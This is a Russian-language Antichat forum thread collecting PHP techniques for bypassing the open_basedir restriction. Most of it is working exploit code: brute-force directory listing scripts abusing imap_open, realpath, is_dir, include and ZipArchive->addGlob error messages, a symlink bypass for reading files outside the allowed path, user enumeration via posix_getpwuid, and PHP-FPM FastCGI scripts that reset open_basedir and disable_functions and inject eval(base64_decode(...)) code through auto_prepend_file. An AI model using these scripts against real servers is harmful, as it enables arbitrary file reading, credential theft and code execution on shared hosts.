Bypass Open_basedir

Discussion in 'Кухня' started by Baskin-Robbins, 22 Sep 2019.

  1. Baskin-Robbins

    Baskin-Robbins Reservists Of Antichat

    Joined:
    15 Sep 2018
    Messages:
    239
    Likes Received:
    807
    Reputations:
    212
    По мотивам https://rdot.org/forum/showthread.php?t=1043

    Старая тема о главном + немного добавим с гугла + тесты на 7 ветке === этот тред.
    Вобщем что завелось у меня.

    Ну и сразу crlf подсказывает прикрепить ссыль на эту тему, ибо "т.к. имея выполнение команд, байпасс бейсдира не сильно нужен"

    Глава первая. Вспомнить всё...


    --------------------------------------------------------------------------------------------------------------------------------------------------------------------
    finfo_*
    --------------------------------------------------------------------------------------------------------------------------------------------------------------------

    PHP:
    $finfo finfo_open(FILEINFO_MIME); $filename "/etc"var_dump(finfo_file($finfo$filename));
    Ругается на опенбэйздир или на отсутствие директории в зависимости от наличия директории.

    Тест:
    7.0.26
    7.3.8-1


    ----------------------------------------------------------------------------------------------------------------------------------------------------------------
    Glob(). Разный результат для отсутствующих и существующих файлов.
    ----------------------------------------------------------------------------------------------------------------------------------------------------------------

    PHP:
    var_dump(glob('/etc/hosts'));
    var_dump(glob('/etc/does-not-exist'));
    отсутствует:
    array(0){}
    присутствует:
    bool(false)

    Тест:
    7.0.26
    7.3.8-1


    --------------------------------------------------------------------------------------------------------------------------------------------------------------------
    opendir()+readdir()+glob://
    --------------------------------------------------------------------------------------------------------------------------------------------------------------------
    https://bugs.php.net/bug.php?id=73891

    Разные ошибки для существующих и отсутствующих директорий.
    Если использовать с glob:// то получим листинг.

    PHP:
    if ($dh opendir($_GET['dir'])) {
            while ((
    $file readdir($dh)) !== false) {
                echo 
    "$file\n";
            }
            
    closedir($dh);
        }
    Code:
    http://localhost/1.php?dir=glob:///*
    DirectoryIterator
    PHP:
    <?php
    printf
    ('open_basedir: %s </br>',ini_get('open_basedir'));
    $file_list = array();
    $it = new DirectoryIterator("glob:///*");
    foreach (
    $it as $f){
        
    $file_list[] = $f->__toString();
    }

    $it = new DirectoryIterator("glob:///.*");
    foreach (
    $it as $f){
        
    $file_list[] = $f->__toString();
    }
    sort($file_list);
    foreach (
    $file_list as $f){
        echo 
    "{$f}<br/>";
    }
    Тест:
    7.0.26
    7.3.8-1


    --------------------------------------------------------------------------------------------------------------------------------------------------------------------
    Не баг, а фича - функции posix_*
    --------------------------------------------------------------------------------------------------------------------------------------------------------------------
    http://bugs.php.net/bug.php?id=16733

    PHP:
    <?php
    $bla 
    = @posix_getpwuid(0);
    echo 
    $bla['dir'];
    ?>
    PHP:
     <?
        for ($i = 0; $i < 60000; $i++)
          {
            if (($tab = @posix_getpwuid($i)) != NULL)
              {
                echo $tab['name'].":";
                echo $tab['passwd'].":";
                echo $tab['uid'].":";
                echo $tab['gid'].":";
                echo $tab['gecos'].":";
                echo $tab['dir'].":";
                echo $tab['shell']."<br>";
              }
          }
    ?> 
    Тест:
    7.0.26
    7.3.8-1


    --------------------------------------------------------------------------------------------------------------------------------------------------------------------
    imap_open()
    --------------------------------------------------------------------------------------------------------------------------------------------------------------------
    https://bugs.php.net/bug.php?id=37265

    PHP:
    $string '/etc'imap_open($string"""");
    Снова разница в ошибках.
    Тест:
    7.3.8-1

    PHP:
    <?php
        $windows 
    false;
        
    $alphabet 'abcdefghijklmnopqrstuvwxyz0123456789-_.';
        
    $alphabet_len strlen($alphabet);
        
    $maxlength 3;
        
    $path '/';
     
        
    $regexp "/File\((.*)\) is not within/";
        
    $files = array();
        
    $s = array();
     
        
    error_reporting(0);
        
    set_error_handler("eh");
        function 
    eh($errno$errstr$errfile$errline) {
            global 
    $regexp,$files,$windows;
            
    preg_match($regexp,$errstr,$o);
            if(isset(
    $o[1]) && (($windows) ? (strpos($o[1],'&lt;&lt;')===false) : true)) {
                if(!
    in_array($o[1],$files))
                    
    $files[]=$o[1];
            }
        }
     
        echo 
    '<pre>open_basedir: ';
        if(
    ini_get('open_basedir'))
            echo 
    "<font color=\"red\">".ini_get('open_basedir')."</font>\n";
        else
            echo 
    "<font color=\"green\">false</font>\n";
        echo 
    'Directory listing of '.$path."\n";
        while(
    count($s inc($s,0)) <= $maxlength) {
            
    check($s);
        }
        
    sort($files);
        foreach(
    $files as $file)
            echo 
    $file."\n";
        echo 
    "</pre>";
     
        function 
    check($s) {
            global 
    $alphabet,$path,$windows;
            
    $str 'a';
            for(
    $i 0$i count($s); $i++) {
                
    $str[$i] = $alphabet[$s[$i]];
            }
            if(
    $windows)
                
    imap_open($path.$str."<<""""");
            else
                
    imap_open($path.$str"""");
        }
     
        function 
    inc($s,$i) {
            global 
    $alphabet_len;
            if(!isset(
    $s[$i])) {
                
    $s[$i] = 0;
                return 
    $s;
            }
            if(
    $s[$i] + == $alphabet_len) {
                
    $s[$i] = 0;
                
    $s inc($s,$i+1);
            } else {
                
    $s[$i]++;
            }
            return 
    $s;
        }
    ?>

    --------------------------------------------------------------------------------------------------------------------------------------------------------------------
    Realpath().
    --------------------------------------------------------------------------------------------------------------------------------------------------------------------
    http://bugs.php.net/bug.php?id=41492

    Тест:
    7.0.26
    7.3.8-1

    PHP:
    <?php
        
    #PHP <= 5.3.6 realpath open_basedir bypass, Directory Listing
        #By BF, 18.06.11

        
    $windows false#For windows (https://rdot.org/forum/showthread.php?t=926) (http://onsec.ru/onsec.whitepaper-02.eng.pdf)
        
    $alphabet 'abcdefghijklmnopqrstuvwxyz0123456789-_.';
        
    $alphabet_len strlen($alphabet);
        
    $maxlength 3;
        
    $path '/';
     
        
    $regexp "/File\((.*)\) is not within/";
        
    $files = array();
        
    $s = array();
     
        
    error_reporting(0);
        
    set_error_handler("eh");
        function 
    eh($errno$errstr$errfile$errline) {
            global 
    $regexp,$files,$windows;
            
    preg_match($regexp,$errstr,$o);
            if(isset(
    $o[1]) && (($windows) ? (strpos($o[1],'&lt;&lt;')===false) : true)) {
                if(!
    in_array($o[1],$files))
                    
    $files[]=$o[1];
            }
        }
     
        echo 
    '<pre>open_basedir: ';
        if(
    ini_get('open_basedir'))
            echo 
    "<font color=\"red\">".ini_get('open_basedir')."</font>\n";
        else
            echo 
    "<font color=\"green\">false</font>\n";
        echo 
    'Directory listing of '.$path."\n";
        while(
    count($s inc($s,0)) <= $maxlength) {
            
    check($s);
        }
        
    sort($files);
        foreach(
    $files as $file)
            echo 
    $file."\n";
        echo 
    "</pre>";
     
        function 
    check($s) {
            global 
    $alphabet,$path,$windows;
            
    $str 'a';
            for(
    $i 0$i count($s); $i++) {
                
    $str[$i] = $alphabet[$s[$i]];
            }
            if(
    $windows)
                
    realpath($path.$str."<<");
            else
                
    realpath($path.$str);
        }
     
        function 
    inc($s,$i) {
            global 
    $alphabet_len;
            if(!isset(
    $s[$i])) {
                
    $s[$i] = 0;
                return 
    $s;
            }
            if(
    $s[$i] + == $alphabet_len) {
                
    $s[$i] = 0;
                
    $s inc($s,$i+1);
            } else {
                
    $s[$i]++;
            }
            return 
    $s;
        }
    ?>

    --------------------------------------------------------------------------------------------------------------------------------------------------------------------
    include - разница в ошибках.
    --------------------------------------------------------------------------------------------------------------------------------------------------------------------
    Тест:
    7.3.8-1

    PHP:
    <?php
     ini_set
    ('display_errors'1);
     
    ini_set('display_startup_errors',1);
     
    ini_set('error_reporting'E_ALL);
     
    ini_set('log_errors'0);
     
    ini_set('html_errors',0);
     
    ini_set('max_execution_time',0);

     
    $alphabet 'abcdefghijklmnopqrstuvwxyz0123456789-_.';
     
    $alphabet_len strlen($alphabet);
     
    $maxlength 3;
     
    $str '';

     
    $dir '../';
     if (isset(
    $_GET['dir'])) {
         
    $dir $_GET['dir'];
     }

     
    $ext '';
     if (isset(
    $_GET['ext'])) {
         
    $ext $_GET['ext'];
         if (isset(
    $ext[0]) && $ext[0] != '.') {
             
    $ext '.'.$ext;
         }
     }

     function 
    inc($s,$i) {
         global 
    $alphabet_len;
         if(!isset(
    $s[$i])) {
             
    $s[$i] = 0;
             return 
    $s;
         }
         if(
    $s[$i] + == $alphabet_len) {
             
    $s[$i] = 0;
             
    $s inc($s,$i+1);
         } else {
             
    $s[$i]++;
         }
         return 
    $s;
     }

     function 
    check2($s) {
         global 
    $str,$alphabet,$ext;
         
    $str 'a';
         for(
    $i 0$i count($s); $i++) {
             
    $str[$i] = $alphabet[$s[$i]];
         }
         include 
    $str.$ext;
     }
     
     function 
    eh($errno$errstr$errfile$errline) {
         global 
    $str$ext;
         if (
    substr_count($errstr'open_basedir restriction') > 0) {
           echo 
    $str.$ext.'<br/>';
         }
     }

     
    set_error_handler("eh");

     echo 
    'open_basedir = '.ini_get('open_basedir').'<br>';
     echo 
    'include_path = '.ini_get('include_path').'<br>';
     echo 
    'set include_path = '.$dir.'<br>';
     
    ini_set('include_path'$dir);
     echo 
    'include_path = '.ini_get('include_path').'<br>';

     
    $s = array();
     while(
    count($s inc($s,0)) <= $maxlength) {
         
    check2($s);
     }

    echo 
    '<br>end';

    ?>


    Глава вторая. Окей, гугл!



    --------------------------------------------------------------------------------------------------------------------------------------------------------------------
    Is_dir().
    --------------------------------------------------------------------------------------------------------------------------------------------------------------------
    https://bugs.php.net/bug.php?id=69240

    PHP:
    var_dump(is_dir("/etc/passwd"));
    var_dump(is_dir("/etc/passwd2"));
    Тест:
    7.0.26
    7.3.8-1

    PHP:
     <?php

        $windows 
    false;
        
    $alphabet 'abcdefghijklmnopqrstuvwxyz0123456789-_.';
        
    $alphabet_len strlen($alphabet);
        
    $maxlength 3;
        
    $path '/';
     
        
    $regexp "/File\((.*)\) is not within/";
        
    $files = array();
        
    $s = array();
     
        
    error_reporting(0);
        
    set_error_handler("eh");
        function 
    eh($errno$errstr$errfile$errline) {
            global 
    $regexp,$files,$windows;
            
    preg_match($regexp,$errstr,$o);
            if(isset(
    $o[1]) && (($windows) ? (strpos($o[1],'&lt;&lt;')===false) : true)) {
                if(!
    in_array($o[1],$files))
                    
    $files[]=$o[1];
            }
        }
     
        echo 
    '<pre>open_basedir: ';
        if(
    ini_get('open_basedir'))
            echo 
    "<font color=\"red\">".ini_get('open_basedir')."</font>\n";
        else
            echo 
    "<font color=\"green\">false</font>\n";
        echo 
    'Directory listing of '.$path."\n";
        while(
    count($s inc($s,0)) <= $maxlength) {
            
    check($s);
        }
        
    sort($files);
        foreach(
    $files as $file)
            echo 
    $file."\n";
        echo 
    "</pre>";
     
        function 
    check($s) {
            global 
    $alphabet,$path,$windows;
            
    $str 'a';
            for(
    $i 0$i count($s); $i++) {
                
    $str[$i] = $alphabet[$s[$i]];
            }
            if(
    $windows)
                
    is_dir($path.$str."<<");
            else
                
    is_dir($path.$str);
        }
     
        function 
    inc($s,$i) {
            global 
    $alphabet_len;
            if(!isset(
    $s[$i])) {
                
    $s[$i] = 0;
                return 
    $s;
            }
            if(
    $s[$i] + == $alphabet_len) {
                
    $s[$i] = 0;
                
    $s inc($s,$i+1);
            } else {
                
    $s[$i]++;
            }
            return 
    $s;
        }
    ?> 

    --------------------------------------------------------------------------------------------------------------------------------------------------------------------
    Bindtextdomain
    --------------------------------------------------------------------------------------------------------------------------------------------------------------------
    Существует:
    string(4) "/etc"
    Отсутствует:
    bool(false)

    Тест:
    7.0.26
    7.3.8-1

    PHP:
    <?php
    printf
    ('<b>open_basedir: %s</b><br />'ini_get('open_basedir'));
    $re bindtextdomain('xxx'$_GET['dir']);
    var_dump($re);
    ?>

    --------------------------------------------------------------------------------------------------------------------------------------------------------------------
    SplFileInfo + getRealPath
    --------------------------------------------------------------------------------------------------------------------------------------------------------------------
    Аналогично
    Существует:
    string(4) "/etc"
    Отсутствует:
    bool(false)

    Тест:
    7.0.26
    7.3.8-1

    PHP:
    <?php
    echo '<b>open_basedir: ' ini_get('open_basedir') . '</b><br />';
    $info = new SplFileInfo($_GET['dir']);
    var_dump($info->getRealPath());
    ?>


    Глава третья. Самое вкусное...



    --------------------------------------------------------------------------------------------------------------------------------------------------------------------
    ZipArchive->addGlob
    --------------------------------------------------------------------------------------------------------------------------------------------------------------------
    Тест:
    7.3.8-1

    PHP:
     <?php
        
    # ZipArchive->addGlob open_basedir bypass, Directory Listing, by BlackFan
        # 20.12.11
     
        
    if(stripos(PHP_OS,'win') !== FALSE)
            die(
    'Windows glob does not support negative character classes');
     
        if(!
    class_exists('ZipArchive'))
            die(
    'Class ZipArchive not found');
     
        
    $starttime microtime(true);
        
    $dir "/";
        
    $R false;
        
    $regexp "/File\((.*)\) is not within/";
        if(isset(
    $_GET['dir'])) $dir = ((string)$_GET['dir']);
        if(isset(
    $_GET['R']) and $_GET['R'] == 'on'$R true;
        
    $dir $dir.((substr($dir,-1) == '/') ? '' '/');

        echo 
    "<head><title>open_basedir bypass, Directory Listing, by BlackFan</title></head>";

        echo 
    "<form method='GET'>";
        echo 
    "Directory (absolute path): <input type='text' name='dir' size='60' value='{$dir}'>";
        echo 
    "<input type='checkbox' name='R' ".(($R)?"checked='checked'":"")."> -R ";
        echo 
    "<input type='submit' value='ls'></form>";

        echo 
    "<HR>";
     
        
    $glob_dirs = array();
        
    $dirs = array();
        
    $files = array();
        
    $lastfile '';
        
    $tmp_zip_name "openbd.zip";
     
        
    $z = new ZipArchive();
        
    $z->open($tmp_zip_name,ZIPARCHIVE::CREATE);
     
        
    set_error_handler("error_handler");

        
    $patterns_queue = array('*','.*');
        
    $checked_chars = array();
        
    $count 0;
        do {
            
    $lastfile '';
            
    $z->addGlob($dir.array_shift($patterns_queue)."*",GLOB_MARK);
     
            if(
    $lastfile !== '') {
                
    $is_dir = (substr($lastfile,-1) === '/');
                if((
    $R or !$is_dir) and substr($lastfile,-3) !== '../') {
                    
    array_push($patterns_queue,$lastfile.'?');
                    if(
    $is_dir) {
                        
    array_push($patterns_queue,$lastfile.'.*');
                    }
                }
     
                
    $lenlf strlen($lastfile);
                for(
    $i 1$i <= $lenlf$i++) {
                    
    $plf substr($lastfile,0,$lenlf-$i);
                    
    $lclf $lastfile[$lenlf-$i];
                    if(!isset(
    $checked_chars[$plf]) or !in_array($lclf,$checked_chars[$plf]))
                        
    $checked_chars[$plf][] = $lclf;
                    
    $new_pattern $plf.'[^'.implode($checked_chars[$plf]).']';
                    if(!
    in_array($new_pattern,$patterns_queue))
                        
    array_push($patterns_queue,$new_pattern);
                }
            }
            
    $count++;
        } while(
    count($patterns_queue) !== 0);
     
        unset(
    $glob_dirs);
        
    sort($dirs);
        
    sort($files);

        echo 
    "<pre>";
        if(
    count($dirs) !== or count($files) !== 0) {
            foreach(
    $dirs as $item) {
                
    $fp $dir.$item;
                if(
    substr($item,-3) == '../') {
                    
    $tmp substr(($fp),0,strpos($fp,'/../'));
                    
    $tmp substr($tmp,0,strrpos($tmp,'/'));
                    echo 
    "<a href='?dir={$tmp}'>{$item}</a><br>";
                } else {
                    echo 
    "<a href='?dir={$fp}'>{$item}</a><br>";
                }
            }
            foreach(
    $files as $item) {
                echo 
    $item."<br>";
            }
        } else {
            echo 
    "Access denied or open_basedir = Off, <a href='javascript:history.back()'>back</a>";
        }
        echo 
    "\n\n$count glob iteration";
          echo 
    "\n".(count($dirs)+count($files))." files";

        
    $z->close();
        if(
    file_exists($tmp_zip_name))
            
    unlink($tmp_zip_name);

        echo 
    "\nTime: ".(microtime(true) - $starttime)." seconds";
        echo 
    "</pre>";

        function 
    error_handler($errno$errstr$errfile$errline){
            global 
    $glob_dirs$regexp$lastfile$dir$dirs$files;
            
    preg_match($regexp,$errstr,$o);
            if(isset(
    $o[1])){
                
    $lastfile substr($o[1],strpos($o[1],$dir)+strlen($dir));
                if(!
    in_array($lastfile,$glob_dirs)) {
                    
    $glob_dirs[] = $lastfile;
                    if(
    substr($lastfile,-1) == '/')
                        
    $dirs[] = $lastfile;
                    else
                        
    $files[] = $lastfile;
                } else {
                    
    $lastfile '';
                }
            }
        }
    ?> 

    --------------------------------------------------------------------------------------------------------------------------------------------------------------------
    Symlink() - отработало без вопросов.
    --------------------------------------------------------------------------------------------------------------------------------------------------------------------
    Тест:
    7.3.8-1

    Эксплоит взят с https://www.exploit-db.com/exploits/10557
    PHP:
    <?php

    $fakedir
    ="cx";
    $fakedep=16;

    $num=0// offset of symlink.$num

    if(!empty($_GET['file'])) $file=$_GET['file'];
    else if(!empty(
    $_POST['file'])) $file=$_POST['file'];
    else 
    $file="";

    echo 
    '<PRE><img src="http://securityreason.com/gfx/logo.gif?cx5211.php"><P>This is exploit from <a
    href="http://securityreason.com/" title="Security Audit PHP">Security Audit Lab - SecurityReason</a> labs.
    Author : Maksymilian Arciemowicz
    <p>Script for legal use only.
    <p>PHP 5.2.12 5.3.1 symlink open_basedir bypass
    <p>More: <a href="http://securityreason.com/">SecurityReason</a>
    <p><form name="form"
     action="http://'
    .$_SERVER["HTTP_HOST"].htmlspecialchars($_SERVER["PHP_SELF"]).'" method="post"><input type="text" name="file" size="50" value="'.htmlspecialchars($file).'"><input type="submit" name="hym" value="Create Symlink"></form>';

    if(empty(
    $file))
        exit;

    if(!
    is_writable("."))
        die(
    "not writable directory");

    $level=0;

    for(
    $as=0;$as<$fakedep;$as++){
        if(!
    file_exists($fakedir))
            
    mkdir($fakedir);
        
    chdir($fakedir);
    }

    while(
    1<$as--) chdir("..");

    $hardstyle explode("/"$file);

    for(
    $a=0;$a<count($hardstyle);$a++){
        if(!empty(
    $hardstyle[$a])){
            if(!
    file_exists($hardstyle[$a]))
                
    mkdir($hardstyle[$a]);
            
    chdir($hardstyle[$a]);
            
    $as++;
        }
    }
    $as++;
    while(
    $as--)
        
    chdir("..");

    @
    rmdir("fakesymlink");
    @
    unlink("fakesymlink");

    @
    symlink(str_repeat($fakedir."/",$fakedep),"fakesymlink");

    // this loop will skip allready created symlinks.
    while(1)
        if(
    true==(@symlink("fakesymlink/".str_repeat("../",$fakedep-1).$file"symlink".$num))) break;
        else 
    $num++;

    @
    unlink("fakesymlink");
    mkdir("fakesymlink");

    die(
    '<FONT COLOR="RED">check symlink <a href="./symlink'.$num.'">symlink'.$num.'</a> file</FONT>');

    ?>
     
    #1 Baskin-Robbins, 22 Sep 2019
    Last edited: 22 Sep 2019
    seostock, joelblack, sysjuk and 2 others like this.
  2. crlf

    crlf Green member

    Joined:
    18 Mar 2016
    Messages:
    683
    Likes Received:
    1,513
    Reputations:
    460
    Молодец, что собрал в одном месте, но стоит отделить/категоризировать треш типа true/false от действительно полезныйх байпасов (symlink, glob:///*), где можно свободно листить диры и читать файлы.

    На PHP 7.3.7 (FPM + Nginx) не работает :(

    Пользуясь случаем, дополню треш подборку булевых байпасов своими находками:

    PHP:
    <?php
    error_reporting
    (E_ALL);
    ini_set('display_errors'true);
    ini_set('open_basedir''/home/');

    mysqli_connect(NULL0000'/etc/passwd');
    mysqli_connect(NULL0000'/etc/xxxpasswd');

    mysqli_real_connect(mysqli_init(), NULL0000,'/etc/passwd');
    mysqli_real_connect(mysqli_init(), NULL0000,'/etc/xxxpasswd');

    var_dump(opcache_invalidate('/etc/passwd')); //bool(true)
    var_dump(opcache_invalidate('/etc/xxxpasswd')); //bool(false)

    openssl_x509_checkpurpose(NULLNULL, ['/etc/passwd']);
    openssl_x509_checkpurpose(NULLNULL, ['/etc/xxxpasswd']);


    set_include_path('/etc/');
    include(
    'passwd');

    set_include_path('/etcxxx/');
    include(
    'passwd');


    fsockopen("unix:///etc/passwd"NULL$errno$errstr30);
    fsockopen("unix:///etc/xxxpasswd"NULL$errno$errstr30);

    stream_socket_client("unix:///etc/passwd"$errno$errstr30);
    stream_socket_client("unix:///etc/xxxpasswd"$errno$errstr30);

    var_dump(stream_resolve_include_path("/etc/passwd"));
    var_dump(stream_resolve_include_path("/etc/xxxpasswd"));
     
    fandor9 and Baskin-Robbins like this.
  3. Baskin-Robbins

    Baskin-Robbins Reservists Of Antichat

    Joined:
    15 Sep 2018
    Messages:
    239
    Likes Received:
    807
    Reputations:
    212
    Спасибо за замечание, спустил их в самый низ. Что касается glob:///* то он так и не захотел спускаться ниже /* , впрочем как будет время помучаю его. А вот симлинк + зипархив да, отработали как надо.
    Наверно важно в таком случае отметить что тестилось мной на mod_php.
     
    seostock and crlf like this.
  4. crlf

    crlf Green member

    Joined:
    18 Mar 2016
    Messages:
    683
    Likes Received:
    1,513
    Reputations:
    460
    Так ниже некуда, если мы про линь говорим, то он уже корень листит. Может в шиндовсе иное поведение, хз :(

    Ага, так будет вернее, может кто-то дотестит ещё. А для локальных кейсов с FPM, все эти свистопляски не нужны.

    Ну и линк на эту тему вконце не повредит, т.к. имея выполнение команд, байпасс бейсдира не сильно нужен :)
     
    Baskin-Robbins likes this.
  5. Baskin-Robbins

    Baskin-Robbins Reservists Of Antichat

    Joined:
    15 Sep 2018
    Messages:
    239
    Likes Received:
    807
    Reputations:
    212
    я имел ввиду что /etc/* /var/* уже не хочет почему-то, что кст касается и других вариантов - /etc и тд брутит, а вот /etc/* ошибки не изменяются соответственно и брут уже не катит
     
    seostock and crlf like this.
  6. crlf

    crlf Green member

    Joined:
    18 Mar 2016
    Messages:
    683
    Likes Received:
    1,513
    Reputations:
    460
    Кстати да, что-то обламывается. Но смутно помнится какой-то кейс, где glob отрабатывал, возможно что-то путаю :(
     
    l1ght and Baskin-Robbins like this.
  7. Baskin-Robbins

    Baskin-Robbins Reservists Of Antichat

    Joined:
    15 Sep 2018
    Messages:
    239
    Likes Received:
    807
    Reputations:
    212
    Каким-то странным образом пропустил такую вот интересную штуку
    https://bugs.php.net/bug.php?id=70134
    В данном случае нам позволяют не только листить диры, но и читать файлы за бэйздиром
    Соответственно важно чтобы fpm крутился на 9000 порту
    Протестировано на apache + php-fpm 7.3
    +1 в копилочку нормальных байпасов
    poc прикрепляю как есть
    PHP:
    <?php
    ini_set
    ('error_reporting',E_ALL);
    ini_set('display_errors',1);
    ini_set('display_startup_errors',1);
    echo 
    'START ';
    echo 
    ini_get('open_basedir');
    echo 
    file_get_contents('/etc/passwd');
    echo 
    ' END';
    echo 
    '<br/>';

    if (isset(
    $_GET['stop'])) exit;

    $params = array();
    $params['SCRIPT_NAME'] = $_SERVER['SCRIPT_NAME'];
    $params['SCRIPT_FILENAME'] = $_SERVER['SCRIPT_FILENAME'];
    $params['REQUEST_METHOD'] = 'GET';
    $params['QUERY_STRING'] = 'stop=true';
    $params['PHP_VALUE'] = 'open_basedir=/';

    $params_encoded '';
    foreach (
    $params as $k=>$v) {
        
    $params_encoded.= chr(strlen($k)).chr(strlen($v)).$k.$v;
    }

    $len strlen($params_encoded);
    $len_encoded chr($len >> 8).chr($len 255);

    $fp fsockopen('127.0.0.1',9000);
    fwrite($fp"\x01\x01\x00\x01\x00\x08\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00");
    fwrite($fp"\x01\x04\x00\x01".$len_encoded."\x00\x00".$params_encoded);
    fwrite($fp"\x01\x04\x00\x01\x00\x00\x00\x00");
    fwrite($fp"\x01\x05\x00\x01\x00\x00\x00\x00");
    sleep(2);
    $result '';
    while (!
    feof($fp)) {
      
    $result .= fread($fp1024);
    }
    fclose($fp);

    $matches = array();
    preg_match('/START.*END/s'$result$matches);
    echo 
    $matches[0];
    ?>
     
    seostock and crlf like this.
  8. crlf

    crlf Green member

    Joined:
    18 Mar 2016
    Messages:
    683
    Likes Received:
    1,513
    Reputations:
    460
    Я подумал, что все в курсе ещё с rdot-а :) Вроде первая реализация была от @d0znpp, но мне больше нравится вариант от @dharrya:
    PHP:
    <?php
    function sendRequest($host$port 0$packet "") {
        
    $body '';
        
    $headers '';
        
    $errno '';
        
    $errstr '';
        
    $timeout 1;
        if(
    $port 0)
            
    $host "tcp://${host}:${port}/";
        else
            
    $host "unix://${host}";

        
    $connection stream_socket_client($host$errno$errstr$timeout);
        if (
    $connection) {
            
    stream_set_timeout($connection1);
            
    fputs($connection$packet);
            while(!
    feof($connection)) {
                
    $line fgets($connection4096);
                if(
    $line == "\r\n")
                    break;

                
    $headers .= $line;
            }

            while(!
    feof($connection))
                
    $body .= fgets($connection4096);

            
    fclose($connection);
            if (
    strpos($headers'Primary script unknown') !== false || strpos($headers'Status: 404 Not Found') !== false) {
                echo 
    "Test failed:(\n";
                echo 
    $headers;
            } else {
                echo 
    "Successful\n";
                
    var_dump($headers);
                
    var_dump($body);
            }
        } else {
            echo 
    "no connection:`(";
        }
    }

    function 
    initializeParams($id$params = array()){
        
    $type 4;
        
    $data "";

        foreach (
    $params as $key => $value) {
            
    $data .= pack("CN",strlen($key),(1<<31) | strlen($value));
            
    $data .= $key;
            
    $data .= $value;
        }

        return 
    to_s(
            
    $id,
            
    $type,
            
    $data
        
    );
    }

    function 
    to_s($id$type$data ""){
        
    $packet sprintf("\x01%c%c%c%c%c%c\x00",
            
    $type,
            
    $id 256$id 256,
            
    strlen($data) / 256strlen($data) % 256,
            
    strlen($data) % 8
        
    );
     
        
    $packet .= $data;
        
    $packet .= str_repeat("\x00",(strlen($data) % 8));
        return 
    $packet;
    }

    function 
    buildPacket($payload "echo 'OK';"$scriptFile "/usr/share/php/PEAR.php") {
        
    $payload base64_encode($payload);
        
    $packet "";
        
    $packet .= to_s(1,1,"\x00\x01\x00\x00\x00\x00\x00\x00");
        
    $packet .= initializeParams(1,
            array(
                
    "REQUEST_METHOD" => "GET",
                
    "SERVER_PROTOCOL" => "HTTP/1.1",
                
    "GATEWAY_INTERFACE" => "CGI/1.1",
                
    "SERVER_NAME" => "localhost",
                
    "HTTP_HOST" => "localhost",
                
    "REMOTE_ADDR" => "127.0.0.1",
                
    "SCRIPT_FILENAME" => $scriptFile,
                
    "PHP_ADMIN_VALUE" => join("\n", [
                    
    "allow_url_fopen=On",
                    
    "allow_url_include=On",
                    
    "disable_functions=Off",
                    
    "open_basedir=Off",
                    
    "short_open_tag=On",
                    
    "auto_prepend_file=data:,".urlencode("<?=eval(base64_decode('${payload}'));?>")
                ])
            )
        );
        
    $packet .= to_s(1,4);
        
    $packet .= to_s(1,5);

        return 
    $packet;
    }

    $packet buildPacket('echo "OK!";');
    sendRequest('localhost'9000$packet);
    open_basedir и diasble_functions просто перезаписываются. Скрипт может в HTTP/SOCK.
     
    #8 crlf, 23 Dec 2019
    Last edited: 23 Dec 2019
    dooble and Baskin-Robbins like this.
  9. crlf

    crlf Green member

    Joined:
    18 Mar 2016
    Messages:
    683
    Likes Received:
    1,513
    Reputations:
    460
    При использовании общего опкеша, можно почитать чужие секретики.

    Bypass open_basedir with opcache
    https://bugs.php.net/bug.php?id=79560
     
    dooble and Baskin-Robbins like this.